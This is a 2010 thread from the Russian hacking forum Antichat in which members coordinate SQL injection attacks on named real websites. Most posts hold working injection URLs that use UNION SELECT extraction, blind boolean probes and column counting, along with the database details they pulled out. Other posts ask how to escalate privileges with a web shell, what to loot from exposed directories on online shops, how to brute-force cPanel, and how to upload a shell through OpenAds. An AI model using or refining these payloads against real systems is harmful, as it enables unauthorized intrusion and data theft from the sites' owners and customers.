Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
03.06.2010, 13:34
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от haito
привет команде;
http://www.msufoundation.com/impact/stories/details.php?id=-36 union all select 1,concat_ws(0x3a,unhex(hex(version())),unhex(hex(d atabase()))),3,2,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28--
мы получили->4.1.14:extaffairs
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(version(),1,1)=4 -> true
Я не знаю, почему он тут ошибки, это должно быть правдой
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(database(),1,1)="e" <-error
MagicQuotes on
|
|
|
03.06.2010, 14:33
|
|
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме:
947074
Репутация:
257
|
|
Сообщение от haito
привет команде;
http://www.msufoundation.com/impact/stories/details.php?id=-36 union all select 1,concat_ws(0x3a,unhex(hex(version())),unhex(hex(d atabase()))),3,2,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28--
мы получили->4.1.14:extaffairs
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(version(),1,1)=4 -> true
Я не знаю, почему он тут ошибки, это должно быть правдой
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(database(),1,1)="e" <-error
http://www.msufoundation.com/impact/stories/details.php?id=36+and+ lower( ascii(substring(database(),1,1)))= 101
Последний раз редактировалось v1d0qz; 03.06.2010 в 14:38..
|
|
|
|
03.06.2010, 14:54
|
|
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
Провел на форуме:
11581319
Репутация:
241
|
|
Сообщение от v1d0qz
http://www.msufoundation.com/impact/stories/details.php?id=36+and+ lower( ascii(substring(database(),1,1)))= 101
Или же
http://www.msufoundation.com/impact/stories/details.php?id=36+and+substring(database(),1,1)=0x 65
|
|
|
|
03.06.2010, 16:06
|
|
Новичок
Регистрация: 27.05.2010
Сообщений: 13
Провел на форуме:
20441
Репутация:
0
|
|
Привет группы;
Можно ли придать этим сайтом?, потому что у нас нет какой-либо аргумент URL
http://www.kitterytradingpost.com/product.php
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 |
|
|
|
03.06.2010, 17:07
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388
Репутация:
87
|
|
Сообщение от haito
Привет группы;
Можно ли придать этим сайтом?, потому что у нас нет какой-либо аргумент URL
http://www.kitterytradingpost.com/product.php
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 http://www.kitterytradingpost.com/product.php/prodid/3647
делаешь так
http://www.kitterytradingpost.com/product.php?prodid=-3647 и вот тут дальше копай
|
|
|
|
03.06.2010, 18:08
|
|
Новичок
Регистрация: 27.05.2010
Сообщений: 13
Провел на форуме:
20441
Репутация:
0
|
|
Сообщение от [Feldmarschall]
http://www.kitterytradingpost.com/product.php/prodid/3647
делаешь так
http://www.kitterytradingpost.com/product.php?prodid=-3647 и вот тут дальше копай
http://www.kitterytradingpost.com/product.php?prodid=3647 order by 29 <-error
Итак, мы имеем 28
http://www.kitterytradingpost.com/product.php?prodid=3647 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28-- <- The used SELECT statements have a different number of columns
что случилось?
|
|
|
|
03.06.2010, 11:59
|
|
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме:
217423
Репутация:
32
|
|
Сообщение от stasiliy
О )) спс)) все работает)
И еще один может глупый вопрос, можно ли както повысить права на папку имея только шелл?
Редко, если только пользователь, от которого запускается web-сервер, является владельцем или входит в группу владельцев папки, к которой необходимо поменять доступ.
|
|
|
|
03.06.2010, 12:21
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Здесь есть SQL-inj?
http://www.bigr.nl/website/structure/main.php?page=people&subpage=person&id=51'+order+b y+1000+--+
|
|
|
|
03.06.2010, 15:21
|
|
Познающий
Регистрация: 16.04.2009
Сообщений: 81
Провел на форуме:
1096131
Репутация:
45
|
|
что можно вытащить полезного (к чему докопаться) если просматриваются папки
/backup/
/includes/
/js/
/scripts/
/temp/
/email/
очень много таких сайтов насобиралось, в основном онлайн шопы.
И еще одно, есть ли возможность взлома либо брута cPanel 11?
|
|
|
|
03.06.2010, 17:34
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
ребят есть способ заливки шелла через Openads (phpAdsNew) ?  |
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Feldmarschall]](/avatars/avatar109813.gif){kind=avatar}
Похожие темы
Комбинированный вид